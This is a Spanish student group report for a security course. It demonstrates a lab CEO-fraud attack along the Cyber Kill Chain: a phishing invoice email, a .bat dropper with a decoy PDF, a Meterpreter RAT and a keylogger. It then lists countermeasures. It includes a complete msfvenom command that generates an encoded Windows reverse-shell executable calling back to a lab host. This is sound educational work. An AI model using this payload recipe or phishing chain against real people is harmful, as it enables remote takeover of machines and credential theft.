Asignatura	Apellidos, nombre de los alumnos	Fecha
Seguridad en los Sistemas de Información	Bermejo Sanz, Laura	11/12/2025
	Cruz Herrera, Javier	
	Llorente Gordo, Antonio	
	Lorente Muñoz, Leticia	
	Yeste Yeste, Emilio José	

Actividad grupal. Vectores de ataque

Fraude al CEO y Metasploit para control de máquina

Grupo I

Índice

1. Introducción

Hoy en día muchos ataques combinan ingeniería social y técnica: el atacante recopila información, envía un correo convincente y, si la víctima cae, se ejecuta el malware. El modelo **Cyber Kill Chain** ayuda a ver estas fases encadenadas y a entender en qué punto podría haberse detectado o detenido el ataque.

Hemos preparado un **video** para explicar de manera clara y concisa la parte **más práctica e importante** de nuestra actividad. (Es necesario descargarlo ya que el repositorio no permite la reproducción de archivos de ese tamaño).

Si bien a continuación se expone el proceso de forma resumida, el desarrollo íntegro del trabajo puede consultarse en el siguiente repositorio de GitHub:

https://github.com/reivajdev/actII_vectores_ataque_unir

2. Ataque y sus fases

Las fases principales del modelo Ciber Kill Chain, adaptadas a este escenario, serían las siguientes (junto a su minutaje mm:ss en el vídeo adjunto):

1. **Reconocimiento**: OSINT para obtener los datos de dominio.local (inicio del vídeo).
2. **Armamento:** preparación del ejecutable_malicioso mediante Metasploit (00:42).
3. **Entrega:** envío de un correo fraudulento con una factura ficticia urgente pendiente de pago que incluye el archivo malicioso. Enlace al HTML del email. (01:50).
4. **Explotación:** ejecución del exploit cuando la víctima accede al enlace y ejecuta el .bat (02:10).
5. **Instalación:** el malware se despliega automáticamente.
6. **Control:** el atacante obtiene acceso remoto y puede manejar el equipo comprometido (02:30).
7. **Acciones sobre el objetivo:** keylogger para obtener credenciales y descargar archivos (03:05).

3. Armamento

En nuestra demostración, el proceso comienza con un fichero .bat, que se ejecuta cuando la víctima hace clic en un enlace incluido en un correo aparentemente real con una factura pendiente de pago. Al abrirse, el script BAT descarga automáticamente dos archivos: un PDF señuelo que simula ser la factura pendiente (para dar credibilidad al ataque) y un archivo EXE que contiene el exploit real. Este ejecutable es el que desplegará un Remote Access Trojan (RAT) capaz de iniciar una conexión remota hacia el atacante, sin que la víctima se de cuenta. De esta forma el atacante deja preparado todo lo necesario para continuar el ataque de manera silenciosa en las siguientes fases.

El archivo EXE utilizado en la demostración se ha generado con el siguiente comando:

```
/usr/bin/msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -e x64/xor -b '\x00' -i 10  LHOST=10.0.0.3 LPORT=4444 -f exe -o explorerp.exe
```

La explicación del comando y sus parámetros se encuentra en el Readme del repositorio en GitHub: https://github.com/reivajdev/actII_vectores_ataque_unir/blob/9d35f312f9d451b4c8cb55b1683de36a9777af04/README.md

4. Contramedidas

A continuación, se mencionan recomendaciones básicas, pero en resumen es desconfía de lo inesperado, verifica antes de actuar y evita operar en piloto automático.

- **Desconfiar de lo inesperado,** verificando remitentes, dominios y enlaces antes de actuar.
- **Confirmar con el remitente por otra vía** (telefónica, presencial, etc), si hay dudas sobre la veracidad del correo recibido.
- **No abrir ni responder correos sospechosos** ni compartir datos personales.
- **Mantener sistemas y programas actualizados**.
- **No descargar adjuntos ni pulsar en enlaces** sin comprobar su origen.
- **Utilizar antivirus y software de seguridad confiable.**
- **Activar la autenticación de dos factores** en servicios online.
- **Integrar IDS/IPS** que detecten/bloqueen comportamientos anómalos en la red

5. Referencias bibliográficas

Noticia publicación código AsyncRat desata ola de ataques

Código AsyncRat

https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/cyber-kill-chain/

https://www.incibe.es/empresas/blog/las-7-fases-ciberataque-las-conoces

https://www.caixabank.es/particular/seguridad/que-es-el-malware-rat-y-por-que-es-tan-peligroso.html

https://www.europol.europa.eu/sites/default/files/documents/es_1.pdf

https://www.incibe.es/empresas/blog/fraude-del-ceo-el-engano-que-puede-vaciar-la-cuenta-de-tu-pyme